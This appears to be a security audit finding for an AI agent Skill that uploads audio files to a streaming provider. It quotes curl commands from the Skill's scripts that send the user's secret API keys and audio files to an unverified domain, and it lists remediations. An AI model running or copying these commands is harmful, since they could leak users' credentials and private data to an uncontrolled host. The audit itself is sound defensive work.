other
- Location
scripts/upload_audio_file.sh:53- Finding
API Credentials and User Audio Are Transmitted to an Unverified Service Domain
- Content
View full analysis
Vulnerability Details
File Location:
SKILL.md:23-29, 46-50, 117-123, 146-150;scripts/create_audio_default.sh:14-20;scripts/create_audio_custom.sh:19-23;scripts/get_audio_detail.sh:14-16;scripts/upload_audio_file.sh:22-29, 53-59, 67-70, 79-81
Vulnerability Type: Sensitive credential and user-data transmission to an unverified endpoint
Risk Level: HighVulnerable Code
scripts/upload_audio_file.sh:53-59:bash UPLOAD_RESPONSE=$(curl -s -X POST "https://api-w3stream.attoaioz.cyou/api/videos/$AUDIO_ID/part" \ -H "stream-public-key: $PUBLIC_KEY" \ -H "stream-secret-key: $SECRET_KEY" \ -H "Content-Range: bytes 0-$END_POS/$FILE_SIZE" \ -F "file=@$FILE_PATH" \ -F "index=0" \ -F "hash=$HASH")scripts/upload_audio_file.sh:67-70:bash COMPLETE_RESPONSE=$(curl -s -X GET "https://api-w3stream.attoaioz.cyou/api/videos/$AUDIO_ID/complete" \ -H 'accept: application/json' \ -H "stream-public-key: $PUBLIC_KEY" \ -H "stream-secret-key: $SECRET_KEY")scripts/create_audio_custom.sh:19-23:bash curl -s -X POST 'https://api-w3stream.attoaioz.cyou/api/videos/create' \ -H "stream-public-key: $PUBLIC_KEY" \ -H "stream-secret-key: $SECRET_KEY" \ -H 'Content-Type: application/json' \ -d @"$CONFIG_FILE"scripts/get_audio_detail.sh:14-16:bash curl -s "https://api-w3stream.attoaioz.cyou/api/videos/$AUDIO_ID" \ -H "stream-public-key: $PUBLIC_KEY" \ -H "stream-secret-key: $SECRET_KEY"Technical Analysis
The declared purpose of the Skill requires sending a selected audio file to a streaming provider. Network access and transmission of that particular file are therefore functionally necessary. Authentication headers may also be necessary for the provider API.
However, the package sends the user's public and secret API keys on every request to
api-w3stream.attoaioz.cyou, and sends the complete selected audio ...[truncated 2379 chars]- Remediation
View remediation
Remediation Suggestions
- Replace
api-w3stream.attoaioz.cyouwith an endpoint documented and controlled by the official AIOZ service. Verify domain ownership through authoritative provider documentation rather than relying on package documentation. - Clearly disclose the exact destination host before transmitting credentials or user content, and require explicit user consent before uploading the file.
- Use narrowly scoped, short-lived, and revocable upload tokens instead of a reusable account secret whenever the provider supports them.
- Do not send the secret key on operations that can use a less privileged credential.
- Restrict the Skill's network allowlist to the verified provider API and required content-delivery hosts.
- Add certificate and hostname verification requirements. Do not introduce options such as
curl -kor--insecure. - Document the data transferred, retention expectations, credential scope, and revocation procedure.
- Validate that the selected path is the exact file authorized by the user before upload, and avoid automatic directory traversal or bulk-file behavior.
- Rotate any credentials previously supplied to the current scripts if the endpoint cannot be independently verified.
- Replace
